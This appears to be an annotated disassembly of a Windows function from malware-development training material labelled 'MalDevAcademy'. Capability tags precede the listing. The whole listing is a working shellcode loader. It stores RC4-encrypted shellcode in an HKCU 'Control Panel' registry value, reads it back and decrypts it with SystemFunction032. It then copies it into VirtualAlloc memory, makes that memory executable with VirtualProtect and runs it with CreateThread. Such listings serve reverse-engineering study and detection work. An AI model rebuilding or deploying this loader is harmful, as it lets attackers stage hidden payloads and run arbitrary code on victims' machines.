Function at 0x1400011a0
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call
Query or enumerate registry value
Set registry value
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xor r13d, r13d
mov r12d, r13d
mov r15d, r13d
call fcn.1400010e0
lea rdi, [0x1400057a0]
lea rbx, [0x140005080]
lea rsi, str.0x_0.2X
lea r14, str.MalDevAcademy
nop dword [rax]
lea rcx, str._n
call fcn.140001020
lea rcx, str.___Press_1_to_write_shellcode_to_registry_n
call fcn.140001020
lea rcx, str.___Press_2_to_read_shellcode_from_registry_n
call fcn.140001020
lea rcx, str.___Press_3_to_decrypt_shellcode_n
call fcn.140001020
lea rcx, str.___Press_4_to_restart_memory_n
call fcn.140001020
lea rcx, str.___Press_5_to_run_shellcode_n
call fcn.140001020
lea rcx, str.___Press_0_to_quit_n
call fcn.140001020
lea rcx, str.___Your_choice:
call fcn.140001020
mov r8d, 2
lea rdx, [rbp + 0x27]
lea rcx, [0x14000367c]
call fcn.140001080
mov ecx, dword [rbp + 0x27]
sub ecx, 1
je 0x1400016a1
sub ecx, 1
je 0x14000153b
sub ecx, 1
je 0x140001478
sub ecx, 1
je 0x140001468
cmp ecx, 1
jne 0x14000175e
call fcn.1400010e0
lea rcx, str.Advapi32
mov dword [rbp - 9], 0x110
mov dword [rbp - 5], 0x110
mov qword [rbp - 1], rdi
mov dword [rbp - 0x19], 0x10
mov dword [rbp - 0x15], 0x10
mov qword [rbp - 0x11], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 9]
call rax
test eax, eax
je 0x140001308
mov edx, eax
lea rcx, str.____SystemFunction032_failed__error_code_:_0x_0.8X_n
call fcn.140001020
mov edx, 0x110
mov dword [rbp - 0x21], r13d
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x14000134d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAlloc_Failed_With_Error_:__d__n
call fcn.140001020
lea rbx, [0x140005080]
jmp 0x14000175e
mov rdx, rbx
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.140001020
mov rax, rbx
mov rcx, rdi
mov edx, 2
nop word [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rax - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x140001370
movups xmm0, xmmword [rcx]
mov r8d, 0x110
mov rcx, rdi
movups xmmword [rax], xmm0
call sub.VCRUNTIME140.dll_memset
lea r9, [rbp - 0x21]
mov edx, 0x110
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001413
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect_Failed_With_Error_:__d__n
call fcn.140001020
lea rbx, [0x140005080]
jmp 0x14000175e
lea rcx, str.___Press__Enter__To_Run_...
call fcn.140001020
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov r8, rbx
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x140001341
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateThread_Failed_With_Error_:__d__n
call fcn.140001020
lea rbx, [0x140005080]
jmp 0x14000175e
mov r15, r13
mov r12, r13
call fcn.1400010e0
jmp 0x14000175e
lea rcx, str.Advapi32
mov dword [rbp + 0x17], 0x110
mov dword [rbp + 0x1b], 0x110
mov qword [rbp + 0x1f], rdi
mov dword [rbp + 7], 0x10
mov dword [rbp + 0xb], 0x10
mov qword [rbp + 0xf], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 7]
lea rcx, [rbp + 0x17]
call rax
test eax, eax
je 0x1400014d5
mov edx, eax
lea rcx, str.____SystemFunction032_failed__error_code_:_0x_0.8X_n
call fcn.140001020
lea rdx, str.Rc4CipherText
lea rcx, str.unsigned_char__s____
call fcn.140001020
mov ebx, r13d
nop dword [rax + rax]
mov eax, ebx
and eax, 0x8000000f
jge 0x140001500
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x140001510
lea rcx, [0x140003520]
call fcn.140001020
movzx edx, byte [rdi]
lea rcx, str.0x_0.2X_
cmp ebx, 0x10f
cmovae rcx, rsi
call fcn.140001020
inc ebx
inc rdi
cmp ebx, 0x110
jb 0x1400014f0
jmp 0x140001689
lea rax, [rbp - 0x29]
mov dword [rbp - 0x29], r13d
mov qword [rsp + 0x30], rax
lea rdx, str.Control_Panel
mov qword [rsp + 0x28], r13
mov r9d, 0xffff
mov r8, r14
mov qword [rsp + 0x20], r13
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x140001586
mov edx, eax
lea rcx, str.____RegGetValueA_error_:__d__n
call fcn.140001020
jmp 0x140001609
mov ebx, dword [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x1400015be
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_error_:__d_n
call fcn.140001020
jmp 0x140001609
lea rax, [rbp - 0x29]
mov r9d, 0xffff
mov qword [rsp + 0x30], rax
lea rdx, str.Control_Panel
mov qword [rsp + 0x28], rbx
mov r8, r14
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x140001602
mov edx, eax
lea rcx, str.____RegGetValueA_error_:__d__n
call fcn.140001020
jmp 0x140001609
mov r15d, dword [rbp - 0x29]
mov r12, rbx
lea rdx, str.plaintext
lea rcx, str.unsigned_char__s____
call fcn.140001020
mov ebx, r13d
test r15, r15
je 0x140001689
mov rsi, r13
lea r14, [r15 - 1]
lea r13, str.0x_0.2X
mov rdi, r12
mov eax, ebx
and eax, 0x8000000f
jge 0x140001645
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x140001655
lea rcx, [0x140003520]
call fcn.140001020
movzx edx, byte [rdi]
lea rcx, str.0x_0.2X_
cmp rsi, r14
cmovae rcx, r13
call fcn.140001020
inc ebx
inc rdi
movsxd rsi, ebx
cmp rsi, r15
jb 0x140001635
xor r13d, r13d
lea rsi, str.0x_0.2X
lea r14, str.MalDevAcademy
lea rcx, str.__n_n_n
call fcn.140001020
lea rbx, [0x140005080]
jmp 0x14000175e
lea r9, str.Control_Panel
mov qword [rbp - 0x21], r13
mov r8d, 0x110
mov qword [rsp + 0x20], r14
mov rdx, rdi
lea rcx, str._i__Writing_0x_p___Size_:__ld___to___s_s__...
call fcn.140001020
lea rax, [rbp - 0x21]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Control_Panel
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140001700
mov edx, eax
lea rcx, str.____RegOpenKeyExA_failed__error_code_:__d_n
call fcn.140001020
jmp 0x140001743
mov rcx, qword [rbp - 0x21]
mov r9d, 3
mov dword [rsp + 0x28], 0x110
xor r8d, r8d
mov rdx, r14
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140001737
mov edx, eax
lea rcx, str.____RegSetValueExA_failed__error_code_:__d_n
call fcn.140001020
jmp 0x140001743
lea rcx, str.___DONE___n
call fcn.140001020
mov rcx, qword [rbp - 0x21]
test rcx, rcx
je 0x140001752
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str._i__DONE__n
call fcn.140001020
cmp dword [rbp + 0x27], 0
lea rdi, [0x1400057a0]
jne 0x140001200
xor eax, eax
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400017b0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret